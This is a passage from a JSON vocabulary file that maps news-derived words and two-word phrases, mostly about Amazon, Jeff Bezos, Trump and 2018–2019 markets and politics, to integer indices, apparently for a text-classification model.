awards": 54876, "hotline": 54877, "camera": 54878, "assets euro": 54879, "recent decades": 54880, "monitor splc": 54881, "weather south": 54882, "deferred income": 54883, "morning ehealth": 54884, "related charges": 54885, "describes amazon": 54886, "loophole": 54887, "born team": 54888, "ecstatic": 54889, "legalistic": 54890, "new anti": 54891, "2018 accounting": 54892, "movements closing": 54893, "stock online": 54894, "avowed centrist": 54895, "witherspoon hello": 54896, "cooking melissa": 54897, "doubled online": 54898, "jack bauer": 54899, "day schools": 54900, "flood victims": 54901, "wage jumped": 54902, "dissemination service": 54903, "faang stock": 54904, "energy solutions": 54905, "tax waivers": 54906, "reported pecker": 54907, "kbr amazon": 54908, "libertarian group": 54909, "create sustainable": 54910, "2020 national": 54911, "orbit trump": 54912, "rand paul": 54913, "foto sourcefacebook": 54914, "foot store": 54915, "blind": 54916, "primary time": 54917, "140 billion": 54918, "painful lesson": 54919, "wife novelist": 54920, "alpha published": 54921, "wrote dec": 54922, "onitself": 54923, "predicts": 54924, "sabotaging": 54925, "revive president": 54926, "queen anne": 54927, "pulled acosta": 54928, "airlines including": 54929, "civilisation": 54930, "international economic": 54931, "miracle comedy": 54932, "vacations": 54933, "usually starts": 54934, "old pastures": 54935, "native president": 54936, "hours cut": 54937, "centers declared": 54938, "numerous progressive": 54939, "money marketwatch": 54940, "fdr drive": 54941, "story adelsons": 54942, "potential solutions": 54943, "tesla continued": 54944, "descent photo": 54945, "setfirstvideoincollection currentvideocollection": 54946, "individual situations": 54947, "grocery service": 54948, "inverted new": 54949, "renewable": 54950, "improperly vermont": 54951, "company passed": 54952, "baker peterbakernyt": 54953, "market biedex": 54954, "philip wegmann": 54955, "sparkling waters": 54956, "crash doubtful": 54957, "waiting": 54958, "humanity farther": 54959, "web begin": 54960, "nuptial agreement": 54961, "darby": 54962, "words amazon": 54963, "wants troops": 54964, "ny supreme": 54965, "credit tied": 54966, "price plunging": 54967, "brim": 54968, "marco borges": 54969, "covering ivanka": 54970, "possible competition": 54971, "global event": 54972, "defense spokeswoman": 54973, "lead companies": 54974, "cary sinise": 54975, "government incentives": 54976, "affairs staffer": 54977, "government bond": 54978, "sybil": 54979, "palantir controversial": 54980, "taken won": 54981, "takes hilarious": 54982, "conditions ticked": 54983, "mannerisms": 54984, "encompassing cronyism": 54985, "saying dent": 54986, "introduced shocking": 54987, "day routs": 54988, "capacity based": 54989, "000 burned": 54990, "hop": 54991, "turned documentarian": 54992, "kim rocketman": 54993, "completely disinterested": 54994, "woman reporter": 54995, "genomic testing": 54996, "deep understanding": 54997, "mquznfbced": 54998, "particularly significant": 54999, "tim roache": 55000, "plan jay": 55001, "collette": 55002, "markles central": 55003, "typeof gigyashareelement": 55004, "victim intent": 55005, "years worth": 55006, "guide sellers": 55007, "greed sold": 55008, "dive reveals": 55009, "2018 girl": 55010, "funeral": 55011, "flashlight": 55012, "foods derived": 55013, "000 trust": 55014, "amazon applied": 55015, "endorsing": 55016, "voting states": 55017, "manager corey": 55018, "israel closely": 55019, "flegenheimer": 55020, "opportunity seeking": 55021, "effectively subsidising": 55022, "zijn": 55023, "success imageurl": 55024, "attorney austin": 55025, "realtors dropped": 55026, "bezos proclaimed": 55027, "solutions mijente": 55028, "america airports": 55029, "unusual actions": 55030, "peaceful existence": 55031, "amazon backing": 55032, "putting local": 55033, "khoon": 55034, "print copies": 55035, "extremely concerning": 55036, "sulzberger took": 55037, "utility reuters": 55038, "alexa tell": 55039, "ceo forum": 55040, "recent cardinal": 55041, "uscis failed": 55042, "loyalist breaking": 55043, "corporate": 55044, "metapack shippingeasy": 55045, "apple 949": 55046, "cheapest": 55047, "aryan": 55048, "ensure transparency": 55049, "career jeff": 55050, "strain visit": 55051, "hotels sporting": 55052, "srk interview": 55053, "chain raw": 55054, "spend year": 55055, "ford attractive": 55056, "stevenson": 55057, "kraft washington": 55058, "book dow": 55059, "usps workshare": 55060, "privilege working": 55061, "work computer": 55062, "courtiers": 55063, "carell amazon": 55064, "federal aid": 55065, "daughter clothing": 55066, "successes": 55067, "continued profit": 55068, "right donald": 55069, "new opportunities": 55070, "longtime employee": 55071, "ronna": 55072, "vt publicly": 55073, "fbi thank": 55074, "dominion energy": 55075, "horsemen": 55076, "twitter statements": 55077, "2018 coming": 55078, "tornadoes minutes": 55079, "note markets": 55080, "boycottwalmart shaun": 55081, "wateraid": 55082, "reeves 415": 55083, "city opportunity": 55084, "matter drop": 55085, "chicago detectives": 55086, "melville": 55087, "jobs averaging": 55088, "bruce bochy": 55089, "determined look": 55090, "protection monitoring": 55091, "stephanie graegin": 55092, "helmet distinction": 55093, "693 million": 55094, "raytheon": 55095, "new zealand": 55096, "remedy": 55097, "perform": 55098, "truck bonnie": 55099, "rain coats": 55100, "melchiorre melchiorre": 55101, "initiated": 55102, "convoluted": 55103, "row development": 55104, "109 104": 55105, "day gawande": 55106, "telling lies": 55107, "devastating new": 55108, "comically": 55109, "beloved author": 55110, "signuppage": 55111, "wife contributed": 55112, "officials want": 55113, "road choice": 55114, "provide services": 55115, "amazon additionally": 55116, "panama nyt": 55117, "000 years": 55118, "obtained market": 55119, "pick": 55120, "delays deploying": 55121, "removal": 55122, "payoff reports": 55123, "tj": 55124, "community pages": 55125, "representative way": 55126, "eastern kingdom": 55127, "bloomberg won": 55128, "density nutrition": 55129, "dean kamen": 55130, "undeliverable": 55131, "shelby county": 55132, "manhattan brooklyn": 55133, "sotheby christie": 55134, "enriches": 55135, "certainly reflects": 55136, "fairly balanced": 55137, "refugee camps": 55138, "immigration news": 55139, "kafka esque": 55140, "trade negotiators": 55141, "lina": 55142, "row": 55143, "vitiello life": 55144, "moscow news": 55145, "krauthammer reaction": 55146, "collar": 55147, "collective good": 55148, "press bauer": 55149, "cig ban": 55150, "chicago season": 55151, "prime schiff": 55152, "immediately sell": 55153, "urge": 55154, "dating sanchez": 55155, "8217 interests": 55156, "juma ahmad": 55157, "development putting": 55158, "reynolds": 55159, "feature starts": 55160, "inc_feature_image_background_color_override null": 55161, "panned 2018": 55162, "practice remains": 55163, "followers pointed": 55164, "ben smith": 55165, "adding raft": 55166, "market hasn": 55167, "showspinner containerid": 55168, "direct construction": 55169, "amazon fame": 55170, "line marketplaces": 55171, "rae looks": 55172, "retail locations": 55173, "declaration looms": 55174, "toronto residents": 55175, "recipients list": 55176, "times pelosi": 55177, "comments marked": 55178, "853 3661": 55179, "editorial advertising": 55180, "shoulder business": 55181, "depth conversations": 55182, "delayed construction": 55183, "governments amazon": 55184, "wireimage beverly": 55185, "included treasury": 55186, "twitter russiagate": 55187, "racial bias": 55188, "hero sure": 55189, "tarp": 55190, "dangerous president": 55191, "revenues continue": 55192, "month bezos": 55193, "chorus": 55194, "concurrently": 55195, "gibraltar": 55196, "comment encouraging": 55197, "khan brought": 55198, "officials promised": 55199, "jeff goldblum": 55200, "nonnegotiable items": 55201, "independent journalist": 55202, "century company": 55203, "rapho": 55204, "pharmaceuticals misled": 55205, "hydroelectric power": 55206, "unprecedented lawsuit": 55207, "flipboard linkedin": 55208, "connects millions": 55209, "search amazon": 55210, "revolutionaries": 55211, "index places": 55212, "employee wrote": 55213, "far pen": 55214, "stock buybacks": 55215, "stopping short": 55216, "coincidence china": 55217, "keyboards": 55218, "cooperation jedi": 55219, "pirro personal": 55220, "preorders stable": 55221, "expensive high": 55222, "sent 765": 55223, "cornaga": 55224, "ken paxton": 55225, "roraima state": 55226, "better idea": 55227, "budget powers": 55228, "smuggling jussie": 55229, "provost florida": 55230, "probably distant": 55231, "famous billionaires": 55232, "beast talked": 55233, "crucial": 55234, "source guardian": 55235, "claim punitive": 55236, "billionaire yusaku": 55237, "traffic congestion": 55238, "global reputation": 55239, "logistical": 55240, "hands walmart": 55241, "people caravan": 55242, "enquirer featuring": 55243, "producing": 55244, "port": 55245, "trump maybe": 55246, "oracle revealed": 55247, "election puts": 55248, "operating television": 55249, "ad supported": 55250, "sees slight": 55251, "trees stand": 55252, "field related": 55253, "array": 55254, "involved foxconn": 55255, "mexico central": 55256, "biography": 55257, "defective": 55258, "51st state": 55259, "radical resistance": 55260, "neighbors yes": 55261, "spent months": 55262, "perry ronna": 55263, "ra": 55264, "world beleived": 55265, "scenario mounting": 55266, "amazon wild": 55267, "diverse group": 55268, "rajesh subramaniam": 55269, "start small": 55270, "parul choksi": 55271, "president chairman": 55272, "murphy reports": 55273, "just posturing": 55274, "stuff doesn": 55275, "massive investigation": 55276, "taxpayers protection": 55277, "ssoper": 55278, "newest try": 55279, "presenter lauren": 55280, "tirement": 55281, "modifies": 55282, "later bloomberg": 55283, "millennials think": 55284, "actively team": 55285, "completely": 55286, "prices improved": 55287, "clinton donald": 55288, "alphabet lost": 55289, "political anguish": 55290, "investing thousands": 55291, "threaten rise": 55292, "spending trends": 55293, "movie set": 55294, "innately": 55295, "given amazon": 55296, "billion meaning": 55297, "climate control": 55298, "pruitt": 55299, "deus": 55300, "right bernie": 55301, "dark comedy": 55302, "chubb": 55303, "algae called": 55304, "holiday amazon": 55305, "2017 32nd": 55306, "otter raiser": 55307, "historical past": 55308, "know iras": 55309, "wizards ted": 55310, "attention benzinga": 55311, "erin burnett": 55312, "frazier global": 55313, "a45": 55314, "changed van": 55315, "educational content": 55316, "shifts": 55317, "amazon mix": 55318, "scale brian": 55319, "cinemark holdings": 55320, "glancing way": 55321, "additional benefits": 55322, "hey maybe": 55323, "poor neighborhood": 55324, "combination risks": 55325, "cavazos volunteer": 55326, "biotech think": 55327, "hands gaga": 55328, "mss": 55329, "volley": 55330, "groups compete": 55331, "premier reassures": 55332, "dingell remembered": 55333, "night trump": 55334, "provides tools": 55335, "replaced general": 55336, "available tools": 55337, "announced goals": 55338, "post davidson": 55339, "strausman": 55340, "current narrow": 55341, "mob determined": 55342, "ignited": 55343, "china talks": 55344, "fantasized link": 55345, "upcoming wisconsin": 55346, "accepted enterprise": 55347, "republican arizona": 55348, "filings govpredict": 55349, "asked workers": 55350, "uber disclosure": 55351, "systems agency": 55352, "proved severe": 55353, "kabc": 55354, "marc gasol": 55355, "queens thrive": 55356, "thieves clear": 55357, "manhattan needs": 55358, "logistical problem": 55359, "nadler": 55360, "corporate drive": 55361, "hq2 winners": 55362, "170": 55363, "bozo": 55364, "trump want": 55365, "sketch ends": 55366, "\u0430knocked\u0430 fear": 55367, "186": 55368, "economically struggling": 55369, "sanchez media": 55370, "carole": 55371, "originally published": 55372, "chinese social": 55373, "calmed": 55374, "prostitution": 55375, "jpg 1230x1672": 55376, "congress daniel": 55377, "workplace misconduct": 55378, "wealthy merchant": 55379, "soy away": 55380, "modest slowdown": 55381, "sweet spot": 55382, "significant downside": 55383, "complaints amazon": 55384, "activists immediately": 55385, "newyork longislandcity": 55386, "broader vision": 55387, "cameras lots": 55388, "outlasted trump": 55389, "increase tariffs": 55390, "terrible timing": 55391, "city limits": 55392, "market analysis": 55393, "arguably fueling": 55394, "endorses": 55395, "earnings explode": 55396, "pour gasoline": 55397, "year economic": 55398, "foreign workers": 55399, "trade agreement": 55400, "definitely help": 55401, "environmentalists point": 55402, "russian autocrat": 55403, "announcement surprised": 55404, "economic ineptitude": 55405, "gulftimes": 55406, "secured jokes": 55407, "darcy cnn": 55408, "comment": 55409, "names trading": 55410, "981 000": 55411, "subsequently confirmed": 55412, "certainly good": 55413, "2006 bezos": 55414, "irs limitations": 55415, "oklahoma": 55416, "midsize manufacturers": 55417, "halbert hargrove": 55418, "mcmaster": 55419, "hrs": 55420, "dipping": 55421, "deal especially": 55422, "virginia job": 55423, "best subscription": 55424, "pletz": 55425, "significant competition": 55426, "fcc created": 55427, "data brokers": 55428, "summit despite": 55429, "cta share": 55430, "investor worries": 55431, "deal works": 55432, "directives": 55433, "similar merchandise": 55434, "staffer": 55435, "alibaba investments": 55436, "sessions trump": 55437, "score": 55438, "service funds": 55439, "stop building": 55440, "dhillon": 55441, "ongoing chapter": 55442, "republicans democrats": 55443, "suddenly": 55444, "su": 55445, "local socialists": 55446, "web page": 55447, "glor": 55448, "care bezos": 55449, "journal data": 55450, "showed overwhelmingly": 55451, "outwardly": 55452, "obama separating": 55453, "women earn": 55454, "protection agency": 55455, "restrictions": 55456, "opinion bopinion": 55457, "upcoming treasury": 55458, "feld senior": 55459, "kurtbardella": 55460, "favorable rate": 55461, "tortures": 55462, "furniture lifting": 55463, "missed thanksgiving": 55464, "public persona": 55465, "michael murphy": 55466, "amazon declared": 55467, "coffee consumption": 55468, "possible unmasking": 55469, "profit centre": 55470, "isn true": 55471, "twitter repeatedly": 55472, "ted diadiun": 55473, "chip pricing": 55474, "scoreboard dow": 55475, "maura thanks": 55476, "government summit": 55477, "laxalt": 55478, "website search": 55479, "digital conference": 55480, "suffer hit": 55481, "medium plus": 55482, "adviser continue": 55483, "hasn disclosed": 55484, "joann": 55485, "peyton": 55486, "greater economic": 55487, "strongly criticised": 55488, "store tire": 55489, "wrong night": 55490, "intelligence ai": 55491, "police arrived": 55492, "hacked think": 55493, "paid services": 55494, "site pakistani": 55495, "story scott": 55496, "main reason": 55497, "sum people": 55498, "2018 double": 55499, "monopoly flood": 55500, "content agency": 55501, "doubt music": 55502, "stop kavanaugh": 55503, "food products": 55504, "slave nation": 55505, "packable": 55506, "packages especially": 55507, "fave playerinstance": 55508, "homeless task": 55509, "sanction waivers": 55510, "outlets falsely": 55511, "scott mlyn": 55512, "nashville elite": 55513, "connecttweetlinkedincommentemailmore": 55514, "don meet": 55515, "ban amazon": 55516, "gorilla": 55517, "user despite": 55518, "wirtschaftswoche": 55519, "huateng head": 55520, "holy second": 55521, "holidays staying": 55522, "grownups\u0430act\u0430like kids": 55523, "showing bezos": 55524, "children locked": 55525, "isis illegal": 55526, "rogue cops": 55527, "legacy newspaper": 55528, "tally": 55529, "coastline": 55530, "segments": 55531, "cn 1iq5vw0": 55532, "warren democrat": 55533, "incumbent lieutenant": 55534, "leaves jeff": 55535, "economic transformation": 55536, "customers rapidly": 55537, "istandwithtrump": 55538, "challenge world": 55539, "million net": 55540, "ticket jared": 55541, "tactics tools": 55542, "molson": 55543, "crosstalk bolduan": 55544, "mailers": 55545, "television series": 55546, "watch north": 55547, "takeoff begin": 55548, "consecutive year": 55549, "album": 55550, "fees brennan": 55551, "fight sexual": 55552, "disclosure form": 55553, "user described": 55554, "skipping bathroom": 55555, "supporting american": 55556, "hurt sales": 55557, "hurdles max": 55558, "confounding": 55559, "fryer explains": 55560, "china retaliation": 55561, "enquirer broke": 55562, "psychologist": 55563, "trademark portfolio": 55564, "assuming conservative": 55565, "amazon virtual": 55566, "marketing programs": 55567, "history following": 55568, "important ways": 55569, "ephron work": 55570, "balky": 55571, "hottovy": 55572, "manager risk": 55573, "nationwide grocery": 55574, "enquirer lauren": 55575, "russian election": 55576, "sbgi": 55577, "business won": 55578, "group founded": 55579, "mont trump": 55580, "manipulating governments": 55581, "taking close": 55582, "payroll": 55583, "wallstreetbets": 55584, "circular": 55585, "cutthroat culture": 55586, "195": 55587, "corn black": 55588, "trump sex": 55589, "stars sourcetasos": 55590, "pay senator": 55591, "employee anonymously": 55592, "act expanded": 55593, "import million": 55594, "alvah": 55595, "ovunc": 55596, "doorstep geekwire": 55597, "world noah": 55598, "soft landings": 55599, "personally": 55600, "complicated national": 55601, "home strongly": 55602, "booster": 55603, "core theme": 55604, "overpopulation": 55605, "eisen right": 55606, "skincare": 55607, "spoiler alert": 55608, "seattle washington": 55609, "industry today": 55610, "amazon tell": 55611, "smart devices": 55612, "free services": 55613, "jbauer": 55614, "doubt ryan": 55615, "comments bmw": 55616, "allowing competitors": 55617, "nancy permission": 55618, "playbook new": 55619, "employment prospects": 55620, "trickling": 55621, "origins slotting": 55622, "recommend unrecommend": 55623, "expansion pack": 55624, "finish tara": 55625, "stock futures": 55626, "metapack results": 55627, "236": 55628, "past controls": 55629, "killer don": 55630, "seeking personal": 55631, "patricia stonesifer": 55632, "confusing security": 55633, "government takeover": 55634, "near hyak": 55635, "new lawmakers": 55636, "project photo": 55637, "trashing amazon": 55638, "change rainforest": 55639, "challenging race": 55640, "pay fare": 55641, "doing amazon": 55642, "bij": 55643, "120 autostartvideo": 55644, "separation amazon": 55645, "corporate accountability": 55646, "ideological interference": 55647, "twitter wrote": 55648, "products shipped": 55649, "jobs nationwide": 55650, "buy bezos": 55651, "best bang": 55652, "new mom": 55653, "level": 55654, "york told": 55655, "market narrow": 55656, "lifestyle health": 55657, "department reached": 55658, "brkb": 55659, "previous management": 55660, "awkward vote": 55661, "2016 dust": 55662, "deliveries increased": 55663, "070": 55664, "souza widely": 55665, "support jeff": 55666, "kovic": 55667, "duck term": 55668, "spalding": 55669, "arrange election": 55670, "clueless": 55671, "eldest": 55672, "wisconsin center": 55673, "smartphone shop": 55674, "moonves general": 55675, "mounting concerns": 55676, "alesco advsrs": 55677, "personal assistant": 55678, "service gives": 55679, "generates": 55680, "peter tuz": 55681, "giant receives": 55682, "force congress": 55683, "cap second": 55684, "individual journalists": 55685, "concerns macron": 55686, "village": 55687, "growing healthcare": 55688, "data breached": 55689, "personal demand": 55690, "lewinsky": 55691, "pharmacy space": 55692, "wealthy elite": 55693, "sensitive information": 55694, "person fall": 55695, "million commitment": 55696, "weekday evening": 55697, "products offered": 55698, "russians colluded": 55699, "minors trump": 55700, "best performing": 55701, "second divorce": 55702, "merchandised": 55703, "0kkv8cxsoo mark": 55704, "girth begs": 55705, "huawei narrative": 55706, "tm hurt": 55707, "karlis": 55708, "meeting stock": 55709, "historic growth": 55710, "alan greenspan": 55711, "violence hias": 55712, "points contract": 55713, "spookiest day": 55714, "important victories": 55715, "guy huge": 55716, "yeah caller": 55717, "zonar washington": 55718, "virginia rumored": 55719, "gerber gerberkawasaki": 55720, "david faber": 55721, "land hq2": 55722, "star lebron": 55723, "medical bills": 55724, "haitian": 55725, "policy drone": 55726, "items agcom": 55727, "practices calling": 55728, "bezos tweeted": 55729, "bridis corroborated": 55730, "reuters cartoon": 55731, "affirmative action": 55732, "restaurant shaub": 55733, "8m": 55734, "called troubling": 55735, "people dislike": 55736, "tl transportation": 55737, "squalid": 55738, "revenue forecast": 55739, "drug fails": 55740, "kept": 55741, "powerful organizations": 55742, "credit agreement": 55743, "sensible gun": 55744, "catalog similar": 55745, "published accenture": 55746, "bezos north": 55747, "suny": 55748, "chef journey": 55749, "msx6a1vvz0": 55750, "business daily": 55751, "chia": 55752, "packages deemed": 55753, "says crackedmarket": 55754, "nasir khan": 55755, "objectively assessed": 55756, "delrahim previously": 55757, "getting massive": 55758, "traditional methods": 55759, "goncourt": 55760, "speech investors": 55761, "numbers good": 55762, "story 200": 55763, "bannertext bannerhasatag": 55764, "land usps": 55765, "bezos independent": 55766, "house 2018": 55767, "new orleans": 55768, "soon trump": 55769, "new moms": 55770, "releases section": 55771, "pedophile priests": 55772, "claim activists": 55773, "estate business": 55774, "worthy companies": 55775, "brantley nov": 55776, "shipment capacity": 55777, "ehrat": 55778, "fy19": 55779, "danielle walker": 55780, "make vital": 55781, "rapidly divert": 55782, "independent news": 55783, "costliest divorce": 55784, "dark photo": 55785, "obviously meant": 55786, "builders": 55787, "sues anheuser": 55788, "packed": 55789, "enquirer sees": 55790, "eduardo simoes": 55791, "kya": 55792, "khashoggi left": 55793, "vodafone": 55794, "sister ayoola": 55795, "banking today": 55796, "30s": 55797, "cites security": 55798, "press reported": 55799, "transfixed": 55800, "massages": 55801, "cnl_filelocation wire": 55802, "oncontententryload": 55803, "bloomberg google": 55804, "amazon package": 55805, "european demand": 55806, "gasoline economic": 55807, "distinctive hairdo": 55808, "lauren pires": 55809, "sexism racism": 55810, "investigate jeff": 55811, "long don": 55812, "kristol seth": 55813, "joel": 55814, "amazon mistreats": 55815, "toronto offers": 55816, "studies told": 55817, "trump held": 55818, "thing politicians": 55819, "comptemptext": 55820, "wage huntington": 55821, "complained amazon": 55822, "german wheat": 55823, "relations team": 55824, "necessarily meant": 55825, "people living": 55826, "runs platform": 55827, "second message": 55828, "worker delivers": 55829, "state initiative": 55830, "think rathner": 55831, "drug trafficking": 55832, "charred": 55833, "outright fraud": 55834, "calif schwarzenegger": 55835, "walmart nipping": 55836, "relations sec": 55837, "relative position": 55838, "insider": 55839, "koch network": 55840, "equivalent ratings": 55841, "weber solon": 55842, "asserts": 55843, "oracle ceo": 55844, "press protects": 55845, "associate editor": 55846, "johnson rampant": 55847, "enhancements": 55848, "competition law": 55849, "facebook officials": 55850, "urus drives": 55851, "speech impediments": 55852, "uproot fedex": 55853, "anymore pfizer": 55854, "quotes silicon": 55855, "outlandish": 55856, "threatening tariffs": 55857, "buy ami": 55858, "special ops": 55859, "rycroft ap": 55860, "steven mcknight": 55861, "sellers deal": 55862, "promote work": 55863, "catholic high": 55864, "equal opportunity": 55865, "money getting": 55866, "donation": 55867, "fees imposed": 55868, "featured products": 55869, "handicaps": 55870, "quarterly highlights": 55871, "withhold access": 55872, "von": 55873, "major firms": 55874, "remarks": 55875, "closely connected": 55876, "investment services": 55877, "present speak": 55878, "ideological": 55879, "engineer program": 55880, "perfectly observed": 55881, "distinguishing amazon": 55882, "helped lower": 55883, "just feel": 55884, "president suharto": 55885, "nfl super": 55886, "nonprofit preschool": 55887, "economic segment": 55888, "sell faangs": 55889, "droves": 55890, "letters": 55891, "asian markets": 55892, "numbers look": 55893, "lombardi cancer": 55894, "wealth produced": 55895, "theory began": 55896, "criticism levelled": 55897, "paint profit": 55898, "amazon commission": 55899, "biggest stories": 55900, "blamed lordstown": 55901, "happen precisely": 55902, "mackenzie nbsp": 55903, "actually need": 55904, "873 million": 55905, "oakworth cap": 55906, "costs potentially": 55907, "leading critic": 55908, "style mailbox": 55909, "systems open": 55910, "directly clear": 55911, "phasing": 55912, "logistics comparing": 55913, "quidsi eventually": 55914, "ctc tax": 55915, "tmall": 55916, "duo": 55917, "pursue cases": 55918, "seattle capitol": 55919, "unpacks": 55920, "forrest": 55921, "people understandably": 55922, "canadian singer": 55923, "outsiders mutate": 55924, "deforestation work": 55925, "progressive politics": 55926, "devon tarby": 55927, "view lot": 55928, "consider bezos": 55929, "partial nudity": 55930, "competitive lines": 55931, "max stier": 55932, "stephen moore": 55933, "taking look": 55934, "james read": 55935, "fops": 55936, "fairy tales": 55937, "shares increased": 55938, "paris suburb": 55939, "male gary": 55940, "alaska natives": 55941, "rain ingraham": 55942, "unscripted tv": 55943, "best price": 55944, "helped shutter": 55945, "husni": 55946, "mccrae": 55947, "960799": 55948, "washington capitals": 55949, "different platforms": 55950, "affaire": 55951, "overtime bezos": 55952, "mental illnesses": 55953, "period tonya": 55954, "jobs autograph": 55955, "andrea fazzari": 55956, "public registration": 55957, "auteurs": 55958, "keeping amazon": 55959, "ongoing economic": 55960, "enquirer does": 55961, "court reverses": 55962, "tyra banks": 55963, "katherine langford": 55964, "gadsby": 55965, "wars trump": 55966, "1900s": 55967, "good seattle": 55968, "president abigail": 55969, "great hindu": 55970, "stalin chief": 55971, "pre internet": 55972, "abuzz": 55973, "unsuccessful run": 55974, "exempt status": 55975, "designated pick": 55976, "sanchez bezos": 55977, "vital signs": 55978, "eu suspected": 55979, "commission invest": 55980, "receded": 55981, "country likewise": 55982, "presidential paranoia": 55983, "ryan jaselskis": 55984, "empowerment yee": 55985, "buybox experts": 55986, "jodi picoult": 55987, "humpty dumpty": 55988, "possibilities floated": 55989, "tech talents": 55990, "decal deplorable": 55991, "expansions natasha": 55992, "outside": 55993, "boring lego": 55994, "mega hit": 55995, "mcgonigal": 55996, "amazon ambition": 55997, "disrespected gayle": 55998, "financial barrier": 55999, "fulfill": 56000, "governments require": 56001, "john mclemore": 56002, "away yes": 56003, "shows smoke": 56004, "donations \u01424": 56005, "payments google": 56006, "statement amazon": 56007, "commerce trade": 56008, "jan rouven": 56009, "dashboard source": 56010, "shall meet": 56011, "refugee caps": 56012, "absolute profit": 56013, "41st president": 56014, "music scene": 56015, "improvement driverless": 56016, "teller department": 56017, "measures include": 56018, "lobbying firm": 56019, "utilized portion": 56020, "account potus": 56021, "interviewwith cbs": 56022, "knees": 56023, "horizons": 56024, "plus new": 56025, "divorce cost": 56026, "groove best": 56027, "anti environmental": 56028, "leading home": 56029, "vegan tacos": 56030, "discusses": 56031, "world founder": 56032, "longtime target": 56033, "news nytimes": 56034, "choate": 56035, "jpg duration": 56036, "kavanough": 56037, "federal contract": 56038, "fake new": 56039, "copies fell": 56040, "widely rumoured": 56041, "doesn present": 56042, "did defend": 56043, "putting retailers": 56044, "calling kavanaugh": 56045, "phone instead": 56046, "expect rebound": 56047, "nextvideoid nextvideourl": 56048, "data storage": 56049, "convincing": 56050, "etsy": 56051, "insight today": 56052, "admirers": 56053, "curbelo": 56054, "2019 fed": 56055, "soul searching": 56056, "republicans supported": 56057, "goldman new": 56058, "apps gizmodo": 56059, "legal director": 56060, "leading jeff": 56061, "beast noted": 56062, "technology available": 56063, "unlikely year": 56064, "post obtained": 56065, "additional 267": 56066, "isn expected": 56067, "different animal": 56068, "positive workplace": 56069, "pelosi want": 56070, "million lori": 56071, "sailboats": 56072, "trice": 56073, "fraudulent": 56074, "tcja": 56075, "members want": 56076, "year protester": 56077, "agent stan": 56078, "legislation creating": 56079, "lon": 56080, "expense going": 56081, "forth": 56082, "rated trump": 56083, "talk recording": 56084, "nyc true": 56085, "community support": 56086, "repressive": 56087, "pitfalls": 56088, "dictionary": 56089, "career employees": 56090, "whitefish resident": 56091, "jon talton": 56092, "preparing": 56093, "corp fuel": 56094, "leadership": 56095, "kellyepperson": 56096, "walsh file": 56097, "expensive computers": 56098, "stadium tribute": 56099, "training provide": 56100, "breaking taxi": 56101, "russia analyzing": 56102, "report concluding": 56103, "meetings scheduled": 56104, "kill michael": 56105, "amazon outlined": 56106, "suggestions explicitly": 56107, "dystopian facial": 56108, "year analysis": 56109, "reagan says": 56110, "loyalty": 56111, "scheduled": 56112, "hilton hotel": 56113, "1modrbhhoanbrvskixwtgzuz0cwxvtijnzeiftlvzvuq ceptions": 56114, "online opinion": 56115, "reasons": 56116, "acosta trump": 56117, "wealth kavanaugh": 56118, "shorrible begin": 56119, "google ireland": 56120, "amid tech": 56121, "actually changing": 56122, "gawande": 56123, "fruitful series": 56124, "amazon knocks": 56125, "vucci evan": 56126, "making massive": 56127, "2020 election": 56128, "previous government": 56129, "half mile": 56130, "fight sequences": 56131, "large width": 56132, "rounded": 56133, "flexing": 56134, "union warned": 56135, "rejected chloe": 56136, "lease agreement": 56137, "media hatred": 56138, "provide law": 56139, "provides users": 56140, "memo serves": 56141, "minister jack": 56142, "thing 2018": 56143, "bigger homes": 56144, "transylvania": 56145, "trade data": 56146, "drug distribution": 56147, "stieg larsson": 56148, "klj": 56149, "tariff deadline": 56150, "rome envoy": 56151, "shutdown pay": 56152, "isa rodrigo": 56153, "pentagon defense": 56154, "difficult 8211": 56155, "sized amazon": 56156, "administration mean": 56157, "times goodman": 56158, "forecast surprise": 56159, "venues": 56160, "current political": 56161, "drago sap": 56162, "purses": 56163, "york billion": 56164, "packages using": 56165, "protesters chants": 56166, "impressive level": 56167, "migrants make": 56168, "vox todd": 56169, "hard left": 56170, "100 migrants": 56171, "sigh love": 56172, "monetize": 56173, "ads amazon": 56174, "environmental norms": 56175, "result cities": 56176, "monroe pre": 56177, "obnoxious politicians": 56178, "divorcing photo": 56179, "beauty loading": 56180, "profitable today": 56181, "unresponsive": 56182, "szklarski": 56183, "response el": 56184, "truly profitable": 56185, "semissourian article": 56186, "demolish": 56187, "szu wannabe": 56188, "make people": 56189, "democratic deputies": 56190, "putin insistence": 56191, "robot amazon": 56192, "leaves twitter": 56193, "general especially": 56194, "companys": 56195, "famed lawyer": 56196, "shift newsletter": 56197, "shares mathes": 56198, "opportunity banking": 56199, "great cost": 56200, "blockchain based": 56201, "collectively bargain": 56202, "brilliant guy": 56203, "regulate amazon": 56204, "investigative work": 56205, "tax reductions": 56206, "incimages": 56207, "shipping gross": 56208, "pretty": 56209, "seeing jeff": 56210, "cdn ampproject": 56211, "566": 56212, "employee link": 56213, "legal perils": 56214, "policy action": 56215, "personal small": 56216, "tamblyn actress": 56217, "encroachment": 56218, "jeremy mohler": 56219, "breakthrough": 56220, "waxman": 56221, "washington submit": 56222, "closed holiday": 56223, "spent day": 56224, "emboldened left": 56225, "hopes bring": 56226, "stein": 56227, "news halliburton": 56228, "img_custom_credit": 56229, "nuanced comedy": 56230, "hill kim": 56231, "gasparino": 56232, "permanently shut": 56233, "politico questions": 56234, "nasdaq aapl": 56235, "pentagon contract": 56236, "rekognition scans": 56237, "passed 2008": 56238, "argues making": 56239, "disgraceful": 56240, "letters usps": 56241, "wares delivering": 56242, "named becky": 56243, "classic stanley": 56244, "outlay": 56245, "defying analysts": 56246, "authorize boost": 56247, "tariffed": 56248, "darr": 56249, "amazon hires": 56250, "companies following": 56251, "shortlist": 56252, "awkward": 56253, "tucker professor": 56254, "estate buddies": 56255, "results revenue": 56256, "sheri berman": 56257, "cells democrat": 56258, "trade concerns": 56259, "sneaker brands": 56260, "jussie smollett": 56261, "today episode": 56262, "msh": 56263, "nasdaq poised": 56264, "quantify": 56265, "superbugs scientists": 56266, "gmb union": 56267, "pay billions": 56268, "journalists publishers": 56269, "national news": 56270, "lampert lawsuit": 56271, "patrick holland": 56272, "honey": 56273, "freedom means": 56274, "gives banks": 56275, "turn american": 56276, "federal law": 56277, "devonlive huge": 56278, "doral florida": 56279, "testimony answered": 56280, "aggression01": 56281, "proving utility": 56282, "year vta": 56283, "thomson buybox": 56284, "denver expect": 56285, "new satire": 56286, "typical stock": 56287, "surface high": 56288, "play gift": 56289, "fairly valued": 56290, "soar financial": 56291, "603": 56292, "international media": 56293, "face fresh": 56294, "gmt great": 56295, "democrats poll": 56296, "marcus richard": 56297, "site kim": 56298, "night concert": 56299, "trump 